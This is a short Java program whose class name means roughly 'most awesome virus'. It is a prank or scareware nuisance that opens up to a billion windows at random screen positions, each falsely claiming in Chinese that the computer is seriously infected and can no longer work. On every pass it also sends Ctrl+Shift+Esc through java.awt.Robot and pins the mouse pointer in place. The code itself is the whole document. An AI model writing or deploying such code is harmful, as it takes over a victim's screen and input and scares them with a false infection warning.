package abc;


import javax.swing.*;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.util.Random;


public class JavaZuiNiuBingDu {
    public static void main(String[] args) throws AWTException {
        int n = 0;
        Random rd = new Random();
        Robot robot = new Robot();

        while (n < 1000000000) {
            JFrame frame = new JFrame("你电脑已经中了非常严重的java脚本，已无法正常工作！");
            frame.setSize(543, 329);
            frame.setLocation(rd.nextInt(1920), rd.nextInt(1080));
            frame.setVisible(true);
            robot.keyPress(KeyEvent.VK_CONTROL);
            robot.keyPress(KeyEvent.VK_SHIFT);
            robot.keyPress(KeyEvent.VK_ESCAPE);
            robot.keyRelease(KeyEvent.VK_ESCAPE);
            robot.keyRelease(KeyEvent.VK_SHIFT);
            robot.keyRelease(KeyEvent.VK_CONTROL);
            robot.mouseMove(800, 550);
            n++;
        }
    }
}